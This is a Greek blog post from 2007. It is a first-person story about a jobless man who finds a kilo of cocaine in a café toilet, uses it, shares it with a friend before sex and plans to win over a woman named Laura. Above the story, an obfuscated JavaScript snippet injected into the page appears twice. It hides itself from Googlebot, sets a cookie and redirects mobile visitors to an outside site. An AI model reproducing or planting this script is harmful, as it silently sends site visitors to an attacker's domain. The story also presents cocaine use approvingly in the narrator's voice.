_0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Μαρτίου 18, 2007

ενα ολόκληρο κιλό …

Filed under: Uncategorized — thelastrealanwnymous @ 11 :09 πμ

Δεν περνάω καλά (μακριά σου ..χα χα ) μάλλον δεν το επιδιώκω . Δηλαδή … έχω ένα βασικό μειονέκτημα. Δεν δουλεύω . Αν δουλεύω τους άλλους? Θα ήταν διασκεδαστικό. Αλλά δεν δουλεύω κανένα …ίσως μόνο εμένα δουλεύω. Πως τη βγάζω ; Δύσκολα . Άλλωστε… κανέναν δεν τον φθάνουν τα χρήματά του. Πόσο μάλλον εμένα .Πόσο συχνά βγαίνω? Τόσο όσο κι αυτοί που δουλεύουν και … ίσως και λίγο περισσότερο. Πού πάω ? παντού σχεδόν παντού . Γυναίκες στην παρέα ? Πολλές. Καλές ?… σχεδόν καμία ή μάλλον μόνο μία. Πως τη λένε ? Λώρα . Είναι …τώρα περιγράφουμε πως είναι : είναι ψηλή στο ύψος μου 178 και 69 κιλά . Έχουμε βγει κάνα δυο φορές μόνοι μας αλλά δεν έγινε τίποτε. Τα έχει με κάποιο Κωνσταντίνο. Στην επιχείρηση του ντάντι του δουλεύουν ο Ζαν και ο Αλέκος. Οι δύο πωλήτριες που είναι κολλητές και δεν χάνουν ποτέ την ευκαιρία να βγουν μαζί μας είναι η Ανθή και η Έλενα. Για μένα ήδη ξέρετε πολλά , οπότε μένει να σας γνωρίσω και τη Φρίντα που σπουδάζει κινηματογράφο και την Αλίκη που παίζει το ιντίριορ στα δάχτυλα και μπορεί να σου κάνει το φτωχικό σου να θυμίζει το εσωτερικό μιας κάντιλακ. Αυτή είναι η παρέα και βγαίνουμε σχεδόν κάθε Σάββατο , σχεδόν όλοι μαζί , σχεδόν σε όλα τα σχήματα-πάντα λείπουν κάποιοι- και μάλλον περνάμε καλά. Είχα μία μίνι ιστοριούλα με την Ανθή αλλά δεν … από τότε μάλλον δεν με χωνεύει και η Έλενα. Για την Αλίκη είμαι σίγουρος πως έχει λίγο κόλλημα ο Κωνσταντίνος – δεν ξέρω όμως πόσο σοβαρό είναι – ενώ για τη δουλειά της Αλίκης φαίνεται να ενδιαφέρεται η Λώρα με ένα τρόπο σαν να θέλει να της σχεδιάσει το χώρο που θα ζήσει με τον αγαπημένο της .
Δεν περνάω καλά. Σόρρυ το ξαναείπα αυτό. Ήρθε μία μέρα σπίτι η Αλίκη , είδε το στρώμα μου πεταμένο κάτω και γύρο στοίβες με περιοδικά και εφημερίδες και της την έδωσε να μου κάνει ένα πολύ αφαιρετικό ινσάιντ . Σκέφτηκα πόσες μέρες θα μπορούσα να τα έχω με την Αλίκη και νομίζω ότι η πρόσθεση δεν τελείωνε. Την παρατηρούσα ενώ επόπτευε το χώρο. Ο τρόπος που τα πισινά της τέντωναν το παντελόνι της με είχε απορροφήσει εντελώς. Γύρισε και με κοίταξε. Την πλησίασα με άνεση και προσπάθησα να τη φιλήσω. Δεν αντιστάθηκε ιδιαίτερα , γύρισε λίγο στο πλάι το κεφάλι της για να με αποφύγει και μου είπε ότι δεν με καταλαβαίνει , ότι καταστρέφομαι που δεν εργάζομαι , ότι έχω δυνατότητες και χάνω το χρόνο μου άδικα . Χαμογέλασα και την έσφιξα πάνω μου. Χωρίς να αντιστέκεται μου ξέφυγε και κάθισε στο μοναδικό γραφείο που ήταν και τραπέζι. Την πλησίασα και μου πρότεινε να μου δείξει κάτι. Περίμενα μάλλον να γδυθεί μπροστά μου αλλά… ξαφνικά γύρισε το τραπέζι ανάποδα , έριξε τις δύο καρέκλες κάτω , σήκωσε το στρώμα και το ακούμπησε στον τοίχο , σκόρπισε μία στοίβα περιοδικά κάτω και μου είπε ότι κάπως έτσι είμαι ανάποδος ,αδιάφορος και κάπως αφελής . Της είπα ότι τη βρίσκω κι εγώ αφελή με τον τρόπο που περιμένει την επόμενη κίνηση του Κωνσταντίνου. Αιφνιδιάστηκε και μου είπε ότι αυτή τη τελευταία σταγόνα δηλητήριο δεν την περίμενε και με είπε και ερπετό. Έξυσα τα λέπια μου (χα χα χα ) και δεν ξαναμίλησα . Ο Κωνσταντίνος δεν υπάρχει περίπτωση να χωρίσει με τη Λώρα. Η Αλίκη είναι μεθοδική και με φοβερό αυτοσεβασμό για να της αξίζει ίσως ο καλύτερος αλλά δεν…θα τον καταφέρει. Έφυγε.
Δεν περνάω καλά. Βγήκαμε πάλι το Σάββατο. Όλοι μαζί. Μιλάω με το Κωνσταντίνο. Αυτός κοιτάζει την Αλίκη που μιλάει με τον Αλέκο. Η Λώρα ξέρει τι έχουν οι βιτρίνες και ανέχεται –χωρίς να υποφέρει – την Ανθή και την Έλενα να μιλάνε για ρούχα με ένα τρόπο σαν να τα προβάρουν εκείνη τη στιγμή . Όλως περιέργως η Φρίντα μιλάει με το Ζαν ,που πηγαίνει σινεμά μόνο όταν είναι ανάγκη και ότι θέλει να δει, το βλέπει σε βίντεο. Πάλι απόψε θα πληρώσει ο Κωνσταντίνος. Αν είχα τα χρήματα του –τώρα θα αναγκαστώ να το πω αυτό που κρύβω τόση ώρα , μου αρέσει η Λώρα υπερβολικά «πεθαίνω» για τη Λώρα ( ή για κάποια εφάμιλλη της)– όλους αυτούς δεν θα τους ανεχόμουν ούτε για κομπάρσους στη παρέα μου. Η Λώρα που δεν σας είπα με τι ασχολείται γιατί ακριβώς δεν χρειάζεται να ασχολείται με τίποτε ,αρκεί μόνο να είναι ο εαυτός της , είναι μία πραγματική γυναίκα.
Τώρα θα σας περιγράψω τις άλλες τις ιμιτασιόν για να καταλάβετε: Τι είναι αυτό που κοιτάζει τις βιτρίνες για να δει πως φαίνεται? Που αγοράζει για να ξεχάσει ? ..και που ξεχνιέται όταν είναι στο δοκιμαστήριο? Που φοβάται πως πάχυνε και προσπαθεί να αδυνατίσει τρώγοντας γλυκά? Τι είναι αυτό που έχει μία ασορτί τσάντα με το παπούτσι και μυαλό ασορτί με εσώρουχα μέσα σε απορρυπαντικό? («σαπουνοερωτισμός» : μια απόπειρα κάθαρσης , μια προσπάθεια να σκεπάσει το μισητό κομμάτι του εαυτού της με απορρυπαντικό ,με μους σοκολάτα τη πικρή του γεύση με σόπινγκ τις ατέλειές του . «Δική μου εφεύρεση αυτή η λέξη! Χα , χα !»)
Δεν περνάω καλά. Το έχετε ήδη καταλάβει αυτό και δεν υπάρχει καμία ελπίδα να περάσω καλύτερα. Κουράζω τα αυτιά μου ακούγοντας τυχαίες επιλογές από σι ντι στα καφέ , διαλογίζομαι ανάμεσα από καπνούς τσιγάρων και χοντρών πούρων περιμένοντας ότι από κάπου θα προβάλει σαν οπτασία η Λώρα , βαριέμαι , ακούω διάφορες βλακείες και κουράζομαι , πράγματι η ένδεια , ( αα να μία ωραία λέξη , όπως και πριν σκεφτόμουν να πω διάγω , ξέρεις με τον τρόπο αυτό του σκοτώνω χρόνο και περνάω άσκοπα) η φαντασίωση να θέλουν να μοιάζουν όλοι με κάποιους που θεωρούνται σημαντικοί και νομίζουν ότι γίνονται κι αυτοί σημαντικοί ….όλα αυτά με κουράζουν ( θα πω κάτι τώρα : αν αντιγράψεις κάποιον που είναι σημαντικός , που αξίζει την προβολή που του γίνεται ,το πιθανότερο είναι να γίνεις και συ σημαντικός μια μέρα , αν όμως αντιγράφεις κάποιον «σημαντικό» φελλό το πιθανότερο είναι να παραμείνεις ο μάπας που είσαι. Αυτός είναι ένας άλλος τρόπος να ξεχωρίζεις τους ορίτζιναλ από τους ευκαιριακούς ) Κάπως έτσι ξεχνιέμαι κάνοντας άσκοπες σκέψεις έχω κατεβάσει το δεύτερο φρέντο και ξαφνικά έχει μαζευτεί τόσο υγρό στη κύστη μου που τρέχω με πανικό στη τουαλέτα. Αν δεν απασχολούσα το μυαλό μου με τη Λώρα ίσως να μη είχα κανένα ενδιαφέρον για τίποτε . Τώρα με το πουλί πάνω από τη λεκάνη να αδειάζει σχεδόν ένα λίτρο νερό (δύο φρέντο και δύο ποτήρια νερό) σκέφτομαι παλιές ακλόνητες αξίες όπως : «όταν η κύστη σου κοντεύει να σπάσει το κατούρημα είναι απολαυστικότερο από το πήδημα …χα χα » . Ε λοιπόν δεν θα το πιστέψετε. Όπως κοιτάζω το νεροχύτη από το πλάι βλέπω κάτι σαν δέμα τυλιγμένο σε εφημερίδες. Αδιαφορώ αλλά το ξαναβλέπω. Είναι ένα δέμα εκεί. Σκίζω λίγο εφημερίδα και βλέπω μια άκρη από νάιλον σακούλα με περιεχόμενο μία λευκή σκόνη. Εδώ είμαστε. Λες? Λες να είναι αυτό που νομίζω? Τραβάω το δέμα από τον κρυψώνα του και προσπαθώ να το μυρίσω. Αλλά τι να καταλάβω αφού δεν έχω σνιφάρει ποτέ μου. Για να είναι τόσο πρόχειρα κρυμμένο όμως ο παραλήπτης του μάλλον είναι εδώ κοντά. Ίσως και έξω από τις τουαλέτες. Να το πάρω ? να μη το πάρω. Το πετάω στη τσέπη μου και βγαίνω ανέμελος. Κάποιος που φαίνεται να έχει αδυναμία στις τουαλέτες κοιτάζει επίμονα προς τα εδώ. Τότε κάνω το λάθος. Αντί να καθίσω στο τραπέζι μου και να πιω άλλο ένα φρέντο , τι ένα λεω ,άλλους 7 φρέντο και μετά να φύγω με φυσικότητα ,πληρώνω και βγαίνω σχεδόν αμέσως από το καφέ. Έξω στη μέση του δρόμου είναι ο ίδιος τύπος που μόλις τον έχουν μαγκώσει 3 μπάτσοι με πολιτικά και τον βάζουν στο αυτοκίνητό τους. Αυτός αδιαφορώντας για τη σύλληψή του μου ρίχνει ένα βλέμμα γεμάτο νόημα και καθυστερεί να μπει σαν να θέλει να μου δείξει ότι είναι τόσο σημαντικό αυτό που του πήρα που θα με βρει ανεξαρτήτως συνθηκών. Αυτοί ξεκινάνε με φόρα κάνοντας τα λάστιχα τους να τρίξουν ενώ εγώ φεύγω πιο πολύ ανυπομονώντας να δοκιμάσω το περιεχόμενο παρά φοβισμένος.
Φθάνω σπίτι. Ρίχνω μία ματιά και μπαίνω στην είσοδο. Χαζεύω την ανύπαρκτη αλληλογραφία μου – πιο πολύ κοιτάζω τα γράμματα των άλλων – και καθυστερώ για να δω αν με ακολούθησε κανείς. Μπαίνω στο διαμέρισμα. Αφήνω το δέμα στο τραπέζι. Πηγαίνω πάλι τουαλέτα. Δεν έχω σνιφάρει άλλη φορά. Δεν σκοπεύω να δοκιμάσω τη γεύση του. Βγάζω τη σακούλα και αφήνω ένα πολύ χαμηλό βουναλάκι στο τραπέζι. Πάρα πολύ χαμηλό γιατί φοβάμαι μήπως είναι πολύ. Τώρα που το ξανασκέφτομαι θα μπορούσε να είναι αλάτι , ζάχαρη άχνη ή και στρυχνίνη. Ευτυχώς έχω δει πολλές ταινίες. Παίρνω ένα χιλιάρικο το κάνω σωληνάκι το βάζω στη μύτη και ρουφάω λίγο. Μάλλον δεν νοιώθω τίποτε. Περιμένω λίγο και ρουφάω με τη μία το υπόλοιπο…ωωωω τι γίνεται εδώ …εεε πού είμαι ? τι γίνεται? Μιλάμε για πολύ γλυκιά ζάλη , τι αλκοόλ και αηδίες , τι μαριχουάνα . Τώρα βέβαια δεν ξέρω αν είναι κόκα ή άσπρη αλλά είναι σίγουρα βαρύ πυροβολικό. Τι είπατε ? ο Κωνσταντίνος? Σιγά τώρα η Λώρα είναι δική μου , η Λώρα έχει προδιαγραφές για μένα και μόνο για μένα. Νομίζω ότι κάποια στιγμή με παίρνει ο ύπνος βαρύς και γλυκός και κοιμάμαι στο πάτωμα κάτω από το τραπέζι.
Ξυπνάω αργότερα με πολύ βαρύ κεφάλι και χωρίς δεύτερη σκέψη τραβάω μία δεύτερη πολύ μικρή δόση.
Και τώρα η συνέχεια: σας πληροφορώ ότι περνάω πολύ καλά. Περνάω απίθανα. Και πρώτα απ’ όλα αυτοπεποίθηση. Θέλω τη Λώρα και σίγουρα με θέλει κι αυτή ,αρκεί να στήσω μία παγίδα σ’ αυτό το πλούσιο παιδάκι που τα παιχνίδια του περιέχουν και υπαλλήλους , έχει πάρα πολλούς φίλους , έχει μεγάλη αυτοπεποίθηση και όπως καταλαβαίνετε πρόκειται για τον Κωνσταντίνο και πρέπει οπωσδήποτε να απομακρύνω από κοντά του τη Λώρα. Έβαλα τη σακούλα στη ζυγαριά που ζυγίζομαι και έδειξε σχεδόν ένα κιλό , ένα ολόκληρο κιλό κόκας η άσπρη , δεν ξέρω ακόμα τι είναι αλλά είναι πανάκριβη , πολύτιμη και προς το παρόν δεν σκέφτομαι να δώσω σε κανένα ούτε γραμμάριο. Αυτή η μαγική σκόνη είναι πιο δυνατή και από το χρήμα.
Είμαι πολύ καλά τώρα. Βγαίνω το Σάββατο με τη παρέα μου. Λείπουν η Αλίκη και η Ανθή. Δεν πρέπει να είμαι πολύ εχθρικός με τον Κωνσταντίνο. Έχω σνιφάρει αυτή τη ποσότητα που θεωρώ ασφαλή και έχω πολύ καλή διάθεση. Τα τρία αγόρια συζητάνε για θέματα της εταιρείας τους πράγμα που κάνει τη Λώρα – τη Λώρα μου- να δυσανασχετεί ευγενικά . Υποτίθεται ότι της κάνω παρέα αλλά με το ένα αυτί μου ακούω τους άλλους και ξαφνικά –αν είναι δυνατόν – η λύση στο πρόβλημά τους μου έρχεται ουρανοκατέβατη και την ξεφουρνίζω. Με κοιτάζουν ξαφνιασμένοι –και η Λώρα μαζί- και διαπιστώνουν ότι δεν είμαι απλώς ανεβασμένος αυτό τον καιρό αλλά κάτι άλλο μου συμβαίνει κάτι σαν κρυφό ταλέντο ας πούμε που έρχεται στην επιφάνεια. Τώρα αδιαφορώ για το πρόβλημά τους και στρέφω πάλι τη προσοχή μου στη Λώρα προσπαθώντας να μη κάνω λάθη υπερβολικής αυτοπεποίθησης και να εξιχνιάσω το μυστικό της έλξης που ασκεί πάνω μου. Είναι η πρώτη φορά που μιλάω τόσο άνετα με τη Λώρα ενώ εκείνη μου δίνει την εντύπωση ότι αισθάνεται να έχουμε πιο πολλά κοινά σημεία απ’ ότι νόμιζε. Όταν τελειώνει η βραδιά ο Κωνσταντίνος που παρακολουθεί την «άνεσή μου» να βρίσκεται στα ίδια επίπεδα με τη δική του ,με ρωτάει με τρόπο αν συζητάω ποτέ για θέματα δουλειάς με το Ζαν και τον Αλέκο. Του χαμογελάω και του λεω θυμίζοντας του το κολέγιο –ένα ιδιωτικό της πλάκας- «…βασικές αρχές μάνατζμεντ και πολύ ένστικτο». Χαμογελάμε και οι δύο αλλά σπάζομαι που φεύγει με τη Λώρα ενώ οι υπόλοιποι θα πάμε κάπου αλλού. Ο Ζαν φεύγει και αυτός , δείχνοντας πολύ προβληματισμένος από τα επαγγελματικά και μένουμε με τον Αλέκο με τα κορίτσια να ψάχνουμε για άλλο κλάμπ. Η Έλενα μπαίνει στο αυτοκίνητο του Αλέκου ενώ εγώ που δεν έχω αυτοκίνητο πηγαίνω με της Φρίντας. Μιλάω πολύ άνετα μαζί της δεν πίνω πολύ εκεί που πάμε και επειδή η Έλενα δείχνει αποφασισμένη να περάσει τη νύχτα της με τον Αλέκο προτείνω στη Φρίντα να σνιφάρουμε μαζί ένα γραμμάριο που βρήκα από ένα φίλο. Δεν φαίνεται να διστάζει και καταλήγουμε σπίτι μου όπου έχω σε ένα φακελάκι ποσότητα περίπου τριπλάσια από το βουναλάκι που θεωρώ ότι είναι η δόση που μου αρέσει. Κάνω δύο χωνάκια χωρίζω τη ποσότητα σε δύο βουναλάκια της αφήνω το μεγαλύτερο και ρουφώ με τη μύτη μου πρώτος . Η Φρίντα τραβάει σε μικρές δόσεις σαν να είναι επιφυλακτική σαν να το δοκιμάζει αλλά τελικά το ρουφάει όλο και βλέπω να μισοκλείνει τα μάτια . Την αγκαλιάζω και νιώθω τους σφυγμούς της να ανεβαίνουν υπερβολικά. Κάποια στιγμή ενώ πιστεύω ότι η καρδιά της θα σπάσει την ακούω να ψιθυρίζει ότι είναι η καλύτερη κόκα που πήρε ποτέ. Ααα κόκα έχει λοιπόν το σακουλάκι μου . Δεν της εξηγώ ότι μου έλυσε την απορία αλλά την φιλάω και δεν προβάλλει καμία αντίσταση και βρισκόμαστε στο στρώμα ενώ η Φρίντα δείχνει να το απολαμβάνει πάρα πολύ. Όταν ξυπνάω εκείνη κοιμάται δίπλα μου και παρατηρώ ότι είναι πιο παχουλή στη λεκάνη απ’ ότι νόμιζα βλέποντας την με ρούχα. Φτιάχνω καφέ και στο μυαλό μου στριφογυρίζει η εικόνα των 980 γραμμαρίων που μου φθάνουν για τρία χρόνια. Όταν ξυπνάει η Φρίντα δεν μου μιλάει , πηγαίνει στο μπάνιο κάνει ένα ντους και μετά βγαίνει και φτιάχνει καφέ μόνη της . Εγώ ξαπλώνω . Έρχεται στο πάτωμα και πίνει τον καφέ της χωρίς να μιλάει ενώ με κοιτάζει με θαυμασμό και απορία μαζί . Μόλις τελειώνει τον καφέ της έρχεται να με αγκαλιάσει και ανεβαίνει πάνω μου με φιλάει και μου ψιθυρίζει: «Αν αγοράσεις κι άλλο μη με ξεχάσεις…» . Κατεβαίνει από πάνω μου και φεύγει. Δεν πίστευα ότι θα γινόταν τόσο εύκολα με τη Φρίντα. Ίσως να καταφέρω τη Λώρα με την ίδια ευκολία.
Δεν ξέρω αν σας το είπα αλλά περνάω πολύ καλά αυτό τον καιρό. Σκέφτομαι ότι θα πάω στο πάρτι μεταμφιεσμένων του Κωνσταντίνου και καταστρώνω ένα πολύ φοβερό σχέδιο για …ξέρετε … για την Λώρα.
Τελικά μάλλον δεν έχω κανένα δυνατό σχέδιο. Έχω μόνο αυτή τη δύναμη στα χέρια μου , αυτό το πράγμα που μου δίνει μια άνεση αυτοκράτορα και το μόνο που κάνω είναι να το χρησιμοποιώ σαν μικρό παιδί που αντί για βώλους παίζει με κοσμήματα , με πολύτιμα διαμάντια και μαργαριτάρια στο σφαιρικό σχήμα του βώλου.
Σκέφτομαι πάρα πολύ πριν καταλήξω τι θα ντυθώ και έχω μια έμπνευση αλλά δεν ξέρω πως ακριβώς θα μου βγει. Τελικά ντύνομαι άγαλμα της Ελευθερίας. Βρίσκω λευκή χλαμύδα και λευκό καλσόν , βάφω το πρόσωπο λευκό με αυτό το υλικό που χρησιμοποιούν οι κλόουν , με το ίδιο υλικό βάφω και το δεξί μου χέρι που θα κρατάει το δαυλό με τη φλόγα της ελευθερίας ( ο οποίος ποτέ μα ποτέ δεν πρέπει να σβήσει ) και μετά αφού παρακαλέσω πολύ την Αλίκη -με την οποία υπάρχει μια ανεπαίσθητη ψυχρότητα- θα μου φτιάξει αυτό το λευκό στεφάνι με τις ακτίνες για το κεφάλι. Τα δοκιμάζω όλα αυτά και το αποτέλεσμα μου φαίνεται πολύ καλό.
Περνάω απίθανα , καταπληκτικά σας λεω. Θα παω στο πάρτι και θα πάρω τη Λώρα με μία κίνηση. Ετοιμάζω τώρα τις τελευταίες λεπτομέρειες , έχω νοικιάσει και αυτοκίνητο , ένα μικρό Ford, για να μπορώ να γυρίσω ότι ώρα θέλω και με όποιο συνεπιβάτη θέλω. Τώρα βάζω πολύ ζελέ στο μαλλί και περιμένω να στεγνώσει. Τότε αντί για πούδρα για να γίνει το μαλλί λευκό όπως του αγάλματος ρίχνω από τη δική μου «πούδρα». Ρίχνω αρκετή στο εσώρουχο στο θώρακα καθώς και σε όλα τα επίμαχα σημεία που βάζουμε συνήθως άρωμα. Δεν σνιφάρω ούτε ένα κόκκο πίνω μόνο λίγο ουίσκι για να διατηρώ τη διάθεσή μου ψηλά. Τώρα είμαι έτοιμος . Μπαίνω στο αυτοκίνητο και φεύγω. Μόνο ένας εκπαιδευμένος αστυνομικός σκύλος να βρεθεί στο δρόμο μου, είναι ικανός να με ακολουθήσει τρέχοντας μέχρι τη βίλα του Κωνσταντίνου στα βόρεια προάστια. Έχω χαλάσει περισσότερα από 100 γραμμάρια για καλύψω το σώμα μου με λευκή σκόνη.
Φθάνω κάποια στιγμή και είναι όλοι εκεί. Ο «βασιλεύς Κωνσταντίνος» είναι ντυμένος αληθινός βασιλιάς όπως είχα δει σε μία παράσταση του «Όνειρο θερινής νυκτός» . Η Λώρα που δεν έχει παρά να παίξει μόνο το ρόλο της ντύθηκε – και ήταν σαν – αληθινή βασίλισσα. Οι άλλοι ήταν ντυμένοι σαν αυλικοί τους.
